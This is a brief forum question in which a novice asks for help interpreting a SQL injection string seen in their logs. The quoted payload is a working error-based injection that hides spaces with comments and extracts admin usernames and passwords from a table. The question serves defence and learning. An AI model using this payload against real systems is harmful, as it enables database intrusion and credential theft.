title: Having trouble with SQL injection
body: <p>I am a noob when it comes to understanding some of the attacks in SQL injection. I am currently seeing this attack in my log and was wondering if anyone can help me understand what it means</p>
  
  <p>SQL Injection: </p>
  
  <pre><code>410'union/**/select/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),0x3a,(select/**/concat(user,0x3a,password)/**/from/**/pwn_base_admin/**/limit/**/0,1),0x3a)a/**/from/**/information_schema.tables/**/group/**/by/**/a)b/**/where'1'='1.
  </code></pre>